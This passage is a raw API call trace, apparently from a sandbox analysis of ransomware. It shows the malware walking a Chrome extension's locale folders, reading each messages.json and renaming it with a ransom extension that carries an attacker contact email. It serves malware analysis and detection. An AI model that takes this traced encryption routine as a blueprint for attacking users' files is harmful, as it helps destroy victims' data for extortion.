nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.893] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.893] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.894] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0070.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.894] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.894] CloseHandle (hObject=0x1fc) returned 1 [0070.895] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.900] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.900] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bd1840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.900] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.900] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.900] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.900] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x842237e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.900] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.900] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.900] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.900] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.900] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.901] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.901] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.901] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe3, lpOverlapped=0x0) returned 1 [0070.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.902] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.902] CloseHandle (hObject=0x1fc) returned 1 [0070.902] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.904] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.904] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842237e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x842237e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.904] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.905] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.905] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.905] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.906] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd4, lpOverlapped=0x0) returned 1 [0070.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.906] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.907] CloseHandle (hObject=0x1fc) returned 1 [0070.907] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8422ad10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.909] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.909] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.909] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.909] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.910] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.910] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.910] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.911] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd4, lpOverlapped=0x0) returned 1 [0070.911] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.911] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.911] CloseHandle (hObject=0x1fc) returned 1 [0070.911] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.913] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.914] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.914] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb76766c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb76766c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb76c2980, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb76c2980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb775af00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb775af00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb77f3480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb77f3480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78195e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78195e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb783f740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb783f740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78658a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78658a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb788ba00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb788ba00, 